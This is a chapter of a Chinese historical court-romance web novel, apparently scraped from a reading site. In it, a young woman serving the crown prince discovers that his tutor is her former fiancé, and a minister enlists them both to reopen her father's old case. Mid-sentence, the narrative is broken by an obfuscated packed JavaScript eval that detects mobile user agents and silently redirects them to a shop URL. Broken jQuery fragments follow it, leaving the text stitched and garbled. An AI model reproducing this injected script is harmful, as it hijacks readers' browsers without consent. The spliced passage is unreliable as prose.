150.蟾宫折桂(八)

作品:《雁鸣京华

    “你唬本宫是吧,你说的,爱本宫那个男人就是皇太子刘昭小兔崽子吧,”国安公主得知真相后,吹胡子瞪眼盯着偷笑的她。


    此时在凤阳阁桌前抓着糕点往嘴里塞的皇太子刘昭正吃得欢,全然不顾她们二位斗嘴。


    “他确实说过这句话嘛,不信你们二人对峙。”江诗婉把战火引向了正在疯狂贪吃的皇太子身上。


    年仅九岁的皇太子哪里懂得这个她的圈套,边往嘴里塞吃的,边点头承认了。


    江诗婉皮一下心情甚是愉悦,她见国安公主早已从失恋的阴影中走出来替她高兴。眼前的国安公主不懂什么是真正的爱情,虽然跋扈了点但没有坏心肠,做的事情虽然很荒唐,多少冲动了一些,但只要吃了苦头她会悄然回头的。


    就像她喜欢张田,也仅仅是一时兴起而已,当时她从国安公主口中便猜出了七八分。当日裕王的手下,也就是江严为了抢群雁图而威胁到了她,在那种危险环境之中,擦出点爱情火星也不是没有可能,尤其是她那么单纯的一个姑娘,又因为刚刚与司遥解除了婚约,自以为那就是爱情也属实正常。


    近些时日天气实在反常,天阴沉沉的,乌云压顶,仿佛有暴雨欲来。


    江诗婉已经搬到了东宫,这几日她好似习惯了这里的生活,陪伴在太子身边这几日,她算是摸透了刘昭的脾气。说到底还是孩子,既贪玩又贪吃,每日寅时她都把太子从床上拖起来。


    当太子睡眼惺忪时,他的床边早已经站了一排伺候他更衣、洗漱的宫女。


    每当这个时候,她也是最为心疼刘昭之时,整个皇宫内的皇子、公主们也都这个作息规律,只是他们之间的竞争尤为激烈。


    “刘昭,快快起床,今日中午您的太师会带客人来见你,你不是很久未见到尹太师了吗?”


    江诗婉坐在床边望着依旧揉着眼睛,略微有起床气的他。


    皇太子刘昭听到这话,顿时精神了不少,“老师真的会来吗?”


    “当然,他老人家答应你的话,何时不作数?”


    “婉儿姐,今日让你本宫会把我的太傅介绍于你,他可是大帅哥,你见到他定会眼睛发直的,每次他来,这里的姐姐们都会眼睛冒出爱心来。”刘昭一下子来了精神,他张牙舞爪模仿着他的老师来时,宫女们眼神放电的表情。


    江诗婉被他逗得忍俊不禁,“今日可不能再胡闹,把书本撕掉了哦。”她忍不住叮嘱道,上次的事她依旧心有余悸,这件事已经被陛下知晓了,念在他是初犯,便只惩罚了她跪了两个时辰。


    待他收拾完毕,她便跟在刘昭身后,送他去国子监。


    这时天刚发亮,她跟在身后忍不住打了个哈欠,脸上满是疲惫的神色。江诗婉望着站在台阶之上正要进学堂的他,用力摆了摆手。


    “今日老师前来,你定要陪在本宫身边,亲眼见一见太傅。”


    江诗婉用力点了点头,送走皇太子后,她便来到了国子监一处安静的茶室。她命东宫的宫来来此打扫了一遍,因皇太子除了学习,休息的时间有限,她只能安排他们在国子监里水榭茶室见面。她走进这间被打扫一尘不染的茶室,把准备好的檀香和茶叶放到了茶盘之上。


    今日她还是头一次见皇太子刘昭的太傅,得谨慎一些。坐在茶桌之前,她小心翼翼把点燃好的熏香放在香炉里面,又把已经洗得干净的茶盘又细细检查了一遍。


    不知不觉便到晌午放学之时,江诗婉把太子接到了水榭茶室,他见到坐在茶室之上的尹太师,面色激动跑了过去。


    “太师——”太子刘昭奶声奶气扑进他的怀里。


    吏部尚书尹天睿甚是喜欢他,俨然把他当成自己的亲孙子来看待。每当看到皇太子刘昭,他便会想起当今圣上小时候,那个时候他与工部尚书江山同为皇上刘炟的老师。他们是亲眼见证当今皇上一步步走到皇位之上的,对于他生下的孩子也同样甚是喜爱。


    “太傅怎么还没来呢?年纪轻轻的,官架子倒不小,竟然让尹太师等,待他到来之时,本宫非要让他给您赔罪。”


    皇太子刘昭未见到太傅身影,有些急了。


    尹天睿抚摸着他的额头,眼睛眯成一条线:“他现在正与你的父皇在一起,待他到来之时,老夫定要他赔罪。”


    江诗婉小心翼翼为他们斟茶,边倒边望着院子外,她内心也很是奇怪,谁竟然这么大的胆子,竟然让如今的吏部尚书等。听皇太子的口气,此人年龄不大,年纪轻轻便成了他的太傅,想必也不是一般人物。


    她这样胡思乱想之时,院子里突然出现了一个高大的身影,只见此人一袭黑色玄装,胸口处隐隐约约露出金色中衣,两根金色带子随着他脚步缓缓生化。此人走在院子之中,愈来愈靠近水榭茶室。


    待江诗婉看清来者样貌,面露惊讶神色,倒在茶杯里的水已然洒到了茶桌之上。


    “来啦,”皇太子跳跃着跑到门前,迅速打开了屏风门。


    只见皇太子刘昭欢呼雀跃着拉起他的手,“太傅,你今日也来得太晚了,尹天师已经等你好些时候了。”他拉着他的手便往屋里拽,“今日你得好好给尹太师赔罪,怎么能让他老人家等你那么久呢?”


    他不紧不慢迈入室内,见到吏部尚书赶紧行礼赔罪。


    “阿婉,没想到吧,陪在太子身边的都是你的老熟人。”吏部尚书尹天睿见她满脸欣喜的模样,忍不住调侃道。


    江诗婉赶紧站了起来,拿起帕子擦拭着洒在桌上的茶水。


    “阿婉,好久不见。”司遥站在她面前淡淡一笑。


    “你就是太子口中的英俊太傅?”


    江诗婉一时还未缓过神来,她有些不可思议地盯着他们三位,直到见到皇太子点头才慢慢接受了这个事实。他怎么是皇太子的太傅,怎么都没听他提起过呀。


    吏部尚书好似看出了她的疑惑,“他的身份多着呢,你不知晓的事情也多着呢,是吧司遥。”


    他郑重地点点头,“为了避人耳目,有些事情不方便与你说。”


    “你认得本宫的伴读?”皇太子见他的太傅竟然认识自己的伴读,有些不可思议。


    司遥低头望着他点点头,“不过我还是先认识的你,太子。”


    皇太子刘昭听后心情不错,他像是小大人一般把司遥迎到了位子之上,又把倒好茶水的茶杯递到他的手里:“您先给尹太师赔罪吧,让他老人家等了这么久,你道歉吧。”


    司遥捏了一下他的脸蛋,“好,好,好,听你的。”而后端起茶杯谦虚地向坐在对面的尹天睿表达着歉意。


    尹天睿丝毫未在意这些礼数,他们二人关系匪浅,好不容易凑到一起能聊聊天,怎么会把这件小事放在心上?他微笑着把手中的茶水一饮而尽,然后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16547086|168818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又向站在一旁的宫女招了招手。


    “你先把太子带过去用午膳,中午休息的时间紧迫,别耽误了他。”


    宫女听到这话急忙向他行礼,而后拉起皇太子刘昭向门口处走去。


    “阿婉,此事并无外人,不必见外,你不是一直想知晓你父亲当年的事吗?”


    此时水榭茶舍只剩下了他们三人,尹天睿示意江诗婉赶紧过来。


    江诗婉有些面露难色,“小女确实想知晓,只是就坐有些不合规矩。”


    “哪来那么多规矩,规矩是人定的,规矩是死的,人是活的嘛,要学会变通。”吏部尚书脑子很聪明,大大咧咧,对于宫内那些繁琐的规矩他早有些不耐烦。


    如果不是当今圣上非要逼迫着他继续留在内阁与那帮狗官周旋,他说不定早就告老还乡了。


    她见此也只好坐在了司遥旁边,他们三人对面而坐,桌上的香炉袅袅升起,空气中弥漫着好闻的檀香味。


    “老夫记得,你的父亲最爱这种味道。”尹天睿率先开了口,今日他前来国子监又把司遥叫了过来,就是为了谈谈如今停滞不前的前朝旧案。


    司遥是如今的大理寺卿,这件案子只有交予他才放心,如今他喜欢的姑娘又进了宫扶持小皇太子。他费尽心机才把他们凑到了一起,所以他们二人再次相见不是偶然,是必然。


    尹天睿的面目变得严峻起来,这个茶室地处偏僻远离学堂,在这里既能照看皇太子,又适合谈密事。“今日把你们二位凑到一起,就是为了历任工部尚书前朝旧案。老夫发现此案悬而未决,内心十分忧心,一方面不能为自己的挚友讨一份公道,另一方面又因如今以叶阁老为首的势力只手遮天,做了太多伤天害理的事,老夫实在是看不下去了。”


    “尹尚书,您是叶阁老的学生,江山也是叶阁老的学生,而当今圣上又是你们二位的学生,掺杂的利益、关系实在太过复杂,为何您如今要站出来与叶阁老势不两立呢?”司遥忍不住开了口,他知晓此案牵扯太多的人,如果想要抽丝剥茧必定会付出惨痛的代价。


    尹天睿目不转睛盯着他:“司遥,你知晓的比老夫想象中的要多得多,这里面掺杂了内阁整个朝野上上下下太多官员,继续查下去必定会引起腥风血雨,老夫身为吏部之首,负责文职官吏的任免、考课、升降、调动、封勋等。内阁官员升迁、罢免都是吏部说了算,所以这么多年过去,老夫也见过太多官员在仕途之路的荣辱兴衰。”


    “阿婉,你为了寻找当年真相,毫不顾及自身安危,老夫想要嘱托你,寻找真相除外务必要好好活着,没有什么比活命更重要的。”


    江诗婉郑重其事点点头。


    “司遥,你的职责便是保护好她。”


    司遥满是关切地望着她,而后用力点点头:“尹尚书下官会的,阿婉两年前,以自己的能力考入大理寺成了一名录事,而后以一己之力查到当年旧案。她既然有这个胆魄想要知晓当年真相,作为大理卿,下官有责任引领他破除此案。”


    “如果看到结局,与自己预想的不太一样,甚至有可能会颠覆你的认知呢?司遥,你依然会坚定不移站在她这边吗?”


    尹天睿目不转睛盯着他。


    司遥点点头,意味深长笑道:“希望你记住今日说过的话。”他挺直脊背,轻轻拉住她的手紧紧攥着,仿佛怕她会动摇一般。